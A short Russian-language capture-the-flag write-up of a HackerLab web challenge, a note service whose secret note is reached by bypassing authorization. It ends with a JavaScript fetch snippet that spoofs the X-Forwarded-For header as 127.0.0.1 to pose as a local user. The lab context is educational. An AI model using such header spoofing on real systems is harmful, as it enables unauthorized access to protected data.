HackerLab Web Сервис заметок

Был дан веб ресурс:



На нём следовало найти заметку, которая запрещала доступ к информации и предлагала найти секретный путь.

Пользователя админ тут нет и нужно найти способ, как ресурс определяет кому дать доступ к инфе, а кому нет.

Я стал копать в Dev-Tools.



Решением этой задачи было обход авторизации через подделку доверенного заголовка.

Код, который я использовал
fetch(location.href, {headers:{'X-Forwarded-For':'127.0.0.1'}, credentials:'include'})
.then(r => r.text())
.then(console.log);